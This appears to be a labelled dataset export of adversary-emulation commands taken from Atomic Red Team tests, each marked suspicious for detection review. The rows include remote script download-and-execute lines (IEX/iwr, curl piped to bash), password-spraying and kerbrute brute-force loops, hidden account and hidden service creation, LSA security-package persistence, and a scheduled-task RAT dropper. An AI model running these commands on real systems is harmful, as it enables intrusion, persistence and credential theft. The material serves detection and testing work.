",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
543e2be3c957a8153871a978,"$macro = [System.IO.File]::ReadAllText(""PathToAtomicsFolder\T1564\src\T1564-macrocode.txt"") $macro = $macro -replace ""aREPLACEMEa"", ""PathToAtomicsFolder\T1564\bin\extractme.bin"" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroCode ""$macro"" -officeProduct ""Word"" -sub ""Extract"" -NoWrap","$macro = [System.IO.File]::ReadAllText(""PathToAtomicsFolder\T1564\src\T1564-macrocode.txt"") $macro = $macro -replace ""aREPLACEMEa"", ""PathToAtomicsFolder\T1564\bin\extractme.bin"" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroCode ""$macro"" -officeProduct ""Word"" -sub ""Extract"" -NoWrap",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,Extract binary files via VBA,T1564,"[""T1564""]",windows,0.9,False,"This module extracts a binary (calc.exe) from inside of another binary. 

In the wild maldoc authors will use this technique to hide binaries inside of files stored 
within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
is the same document without all the malicious code. Document 1 will copy Docume",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b24bcee95cc12a47e81dbb60,"Remove-Item ""$env:TEMP\extracted.exe"" -ErrorAction Ignore","Remove-Item ""$env:TEMP\extracted.exe"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,Extract binary files via VBA,T1564,"[""T1564""]",windows,0.55,True,"This module extracts a binary (calc.exe) from inside of another binary. 

In the wild maldoc authors will use this technique to hide binaries inside of files stored 
within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
is the same document without all the malicious code. Document 1 will copy Docume",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bbf1c7202336294988cc9646,net user $ ATOMIC123! /add /active:yes,net user $ ATOMIC123! /add /active:yes,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,"Create a Hidden User Called ""$""",T1564,"[""T1564""]",windows,0.9,False,"Creating a user with a username containing ""$""",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2eff446c0c0f5240603bb7fa,net user $ /DELETE 2>&1,net user $ /DELETE 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,"Create a Hidden User Called ""$""",T1564,"[""T1564""]",windows,0.55,True,"Creating a user with a username containing ""$""",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94b8a512cf4e5f7e2b7daed6,"New-LocalUser -Name ""Administrator "" -NoPassword","New-LocalUser -Name ""Administrator "" -NoPassword",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,"Create an ""Administrator "" user (with a space on the end)",T1564,"[""T1564""]",windows,0.9,False,Creating a user with a username containing with a space on the end,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2581f1b55898b30de36c9f4d,"Remove-LocalUser -Name ""Administrator "" 2>&1 | out-null","Remove-LocalUser -Name ""Administrator "" 2>&1 | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,"Create an ""Administrator "" user (with a space on the end)",T1564,"[""T1564""]",windows,0.55,True,Creating a user with a username containing with a space on the end,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e4790163de7b10a7d505429,"sc.exe create #{service_name} binPath= ""#{executable_command}"" sc sdset #{service_name} ""D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)""","sc.exe create #{service_name} binPath= ""#{executable_command}"" sc sdset #{service_name} ""D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,Create and Hide a Service with sc.exe,T1564,"[""T1564""]",windows,0.9,False,"The following technique utilizes sc.exe and sdset to change the security descriptor of a service and ""hide"" it from Get-Service or sc query.

Upon successful execution, sc.exe creates a new service changes the security descriptor.

https://twitter.com/Alh4zr3d/status/1580925761996828672
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f245764cd515e2c22a966a41,"sc sdset #{service_name} ""D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"" sc.exe delete #{service_name}","sc sdset #{service_name} ""D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"" sc.exe delete #{service_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,Create and Hide a Service with sc.exe,T1564,"[""T1564""]",windows,0.55,True,"The following technique utilizes sc.exe and sdset to change the security descriptor of a service and ""hide"" it from Get-Service or sc query.

Upon successful execution, sc.exe creates a new service changes the security descriptor.

https://twitter.com/Alh4zr3d/status/1580925761996828672
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
956d52bde187b56b1f0480a3,"cmd /c ""#{nircmd_location}"" #{command_to_execute}","cmd /c ""#{nircmd_location}"" #{command_to_execute}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,Command Execution with NirCmd,T1564,"[""T1564""]",windows,0.9,False,"NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account
See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed24edab5f6d3bcaa099eac1,"cmd /c ""#{nircmd_location}"" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null","cmd /c ""#{nircmd_location}"" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564/T1564.yaml,Command Execution with NirCmd,T1564,"[""T1564""]",windows,0.55,True,"NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account
See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c917bbbacf3ad7b640f466d,"$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa"" -Name 'Security Packages old' -Value ""$oldvalue""; $newvalue = ""AtomicTest.dll""; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue","$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa"" -Name 'Security Packages old' -Value ""$oldvalue""; $newvalue = ""AtomicTest.dll""; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.005/T1547.005.yaml,Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry,T1547.005,"[""T1547.005""]",windows,0.9,False,"Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e34b9d5ffdf1c65e2b465977,"$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\System\CurrentControlSet\Control\Lsa"" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa"" -Name 'Security Packages old';","$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\System\CurrentControlSet\Control\Lsa"" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa"" -Name 'Security Packages old';",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.005/T1547.005.yaml,Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry,T1547.005,"[""T1547.005""]",windows,0.55,True,"Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
291e46c7a16ebfd49762be48,"$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig"" -Name 'Security Packages old' -Value ""$oldvalue""; $newvalue = ""AtomicTest.dll""; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue","$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'); Set-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig"" -Name 'Security Packages old' -Value ""$oldvalue""; $newvalue = ""AtomicTest.dll""; Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.005/T1547.005.yaml,Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry,T1547.005,"[""T1547.005""]",windows,0.9,False,"Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
448c454cc738d25222021af7,"$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig"" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig"" -Name 'Security Packages old';","$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig"" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old'); Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig"" -Name 'Security Packages old';",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.005/T1547.005.yaml,Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry,T1547.005,"[""T1547.005""]",windows,0.55,True,"Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
361f439edb2ae56b0264e280,rm -rf /tmp/atomic-test-T1036.006,rm -rf /tmp/atomic-test-T1036.006,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.006/T1036.006.yaml,Space After Filename,T1036.006,"[""T1036.006""]","macos,linux",0.55,True,"Space after filename.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7daa7a6fba34c38bd73c07e2,#{curl_path} -k #{ip_lookup_url},#{curl_path} -k #{ip_lookup_url},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614/T1614.yaml,Get geolocation info through IP-Lookup services using curl Windows,T1614,"[""T1614""]",windows,0.9,False,"Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
61d972a03ff65e418d4d0346,curl -k #{ip_lookup_url},curl -k #{ip_lookup_url},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1614/T1614.yaml,"Get geolocation info through IP-Lookup services using curl freebsd, linux or macos",T1614,"[""T1614""]","macos,linux",0.9,False,"Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82304e62ac05d7ee868cc4ea,"Stop-Process -Name ""mimikatz"" -Force -ErrorAction Ignore","Stop-Process -Name ""mimikatz"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1207/T1207.yaml,DCShadow (Active Directory),T1207,"[""T1207""]",windows,0.55,True,"Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

[DCShadow](https://www.dcshadow.com/)
[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)

It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

Need SYSTEM privile",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1446df7a7e615229e956d25a,reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f,reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.004/T1137.004.yaml,Install Outlook Home Page Persistence,T1137.004,"[""T1137.004""]",windows,0.9,False,"This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cca5ac62fdea79aef4c944ce,reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f >nul 2>&1,reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137.004/T1137.004.yaml,Install Outlook Home Page Persistence,T1137.004,"[""T1137.004""]",windows,0.55,True,"This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d82bb552f9ccc8d10b66727e,"Start-Process ""#{script_path}""","Start-Process ""#{script_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Create and Execute Batch Script,T1059.003,"[""T1059.003""]",windows,0.9,False,"Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c79f90ce11f77e4fb4348dd,"Remove-Item ""#{script_path}"" -Force -ErrorAction Ignore","Remove-Item ""#{script_path}"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Create and Execute Batch Script,T1059.003,"[""T1059.003""]",windows,0.55,True,"Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ef127fd3047f8caaf4758b39,"echo ""#{message}"" > ""#{file_contents_path}"" & type ""#{file_contents_path}""","echo ""#{message}"" > ""#{file_contents_path}"" & type ""#{file_contents_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Writes text to a file and displays it.,T1059.003,"[""T1059.003""]",windows,0.9,False,"Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
beb52fadad1282f8a745d256,"del ""#{file_contents_path}"" >nul 2>&1","del ""#{file_contents_path}"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Writes text to a file and displays it.,T1059.003,"[""T1059.003""]",windows,0.55,True,"Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d8b7790807d2eb022666c86d,"%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}","%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Suspicious Execution via Windows Command Shell,T1059.003,"[""T1059.003""]",windows,0.9,False,"Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d42ab32c27e0f86c49d1b98f,"cmd /c ""for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}"" | out-null","cmd /c ""for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}"" | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Simulate BlackByte Ransomware Print Bombing,T1059.003,"[""T1059.003""]",windows,0.9,False,"This test attempts to open a file a specified number of times in Wordpad, then prints the contents. 
It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. 
See https://redcanary.com/blog/blackbyte-ransomware/. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6c52a7c87b0a68b902829b67,stop-process -name wordpad -force -erroraction silentlycontinue,stop-process -name wordpad -force -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Simulate BlackByte Ransomware Print Bombing,T1059.003,"[""T1059.003""]",windows,0.55,True,"This test attempts to open a file a specified number of times in Wordpad, then prints the contents. 
It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. 
See https://redcanary.com/blog/blackbyte-ransomware/. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
867c6cc2afac1a8644e9fea9,"cmd /r cmd<""#{input_file}""","cmd /r cmd<""#{input_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Command Prompt read contents from CMD file and execute,T1059.003,"[""T1059.003""]",windows,0.9,False,"Simulate Raspberry Robin using the ""standard-in"" command prompt feature cmd `/R <` to read and execute a file via cmd.exe
See https://redcanary.com/blog/raspberry-robin/. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1f0f0c30cb991efed1dc8369,"c:\windows\system32\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject(""WScript.Shell""):Set objExec = objShell.Exec(""whoami""):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs","c:\windows\system32\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject(""WScript.Shell""):Set objExec = objShell.Exec(""whoami""):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Command prompt writing script to file then executes it,T1059.003,"[""T1059.003""]",windows,0.9,False,"    Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.
    The script will execute 'whoami' then exit.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56b0638e2f761b0ed75f8d5b,"del ""#{script_name}.vbs"" >nul 2>&1","del ""#{script_name}.vbs"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.003/T1059.003.yaml,Command prompt writing script to file then executes it,T1059.003,"[""T1059.003""]",windows,0.55,True,"    Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.
    The script will execute 'whoami' then exit.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45570d3a8207e8c8a4920642,"control.exe ""#{cpl_file_path}""","control.exe ""#{cpl_file_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.002/T1218.002.yaml,Control Panel Items,T1218.002,"[""T1218.002""]",windows,0.9,False,"This test simulates an adversary leveraging control.exe
Upon execution calc.exe will be launched
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41ec42223708f43e9ab70f20,"copy %temp%\ExplorerSync.db %temp%\..\Microsoft\ExplorerSync.db schtasks /create /tn ExplorerSync /tr ""javaw -jar %temp%\..\Microsoft\ExplorerSync.db"" /sc MINUTE /f","copy %temp%\ExplorerSync.db %temp%\..\Microsoft\ExplorerSync.db schtasks /create /tn ExplorerSync /tr ""javaw -jar %temp%\..\Microsoft\ExplorerSync.db"" /sc MINUTE /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1195/T1195.yaml,Octopus Scanner Malware Open Source Supply Chain,T1195,"[""T1195""]",windows,0.9,False,"This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db
[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)
[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5918d7ee4728661e4b974fa,schtasks /delete /tn ExplorerSync /F 2>null del %temp%\..\Microsoft\ExplorerSync.db 2>null del %temp%\ExplorerSync.db 2>null,schtasks /delete /tn ExplorerSync /F 2>null del %temp%\..\Microsoft\ExplorerSync.db 2>null del %temp%\ExplorerSync.db 2>null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1195/T1195.yaml,Octopus Scanner Malware Open Source Supply Chain,T1195,"[""T1195""]",windows,0.55,True,"This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db
[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)
[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dd843d8c70f3d393e7386e28,"echo Password1> passwords.txt echo 1q2w3e4r>> passwords.txt echo Password!>> passwords.txt echo Spring2022>> passwords.txt echo ChangeMe!>> passwords.txt @FOR /F ""delims="" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:""%userdomain%\#{user}"" ""%p"" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL","echo Password1> passwords.txt echo 1q2w3e4r>> passwords.txt echo Password!>> passwords.txt echo Spring2022>> passwords.txt echo ChangeMe!>> passwords.txt @FOR /F ""delims="" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:""%userdomain%\#{user}"" ""%p"" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,Brute Force Credentials of single Active Directory domain users via SMB,T1110.001,"[""T1110.001""]",windows,0.9,False,"Attempts to brute force a single Active Directory account by testing connectivity to the IPC$ share on a domain controller
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9394ce5f8ab796e671150b38,"cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1","cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,Password Brute User using Kerbrute Tool,T1110.001,"[""T1110.001""]",windows,0.9,False,"Bruteforce a single user's password from a wordlist
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
885ccd28caae3daf9f10086b,"useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art su -c ""cd /tmp; curl -s #{remote_url} | bash"" art","useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art su -c ""cd /tmp; curl -s #{remote_url} | bash"" art",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,SUDO Brute Force - Debian,T1110.001,"[""T1110.001""]",linux,0.9,False,"An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the ""art"" user with a password of ""password123"", logs in, do",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35f5e92fccb43130692f007d,userdel -fr art,userdel -fr art,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,SUDO Brute Force - Debian,T1110.001,"[""T1110.001""]",linux,0.55,True,"An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the ""art"" user with a password of ""password123"", logs in, do",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
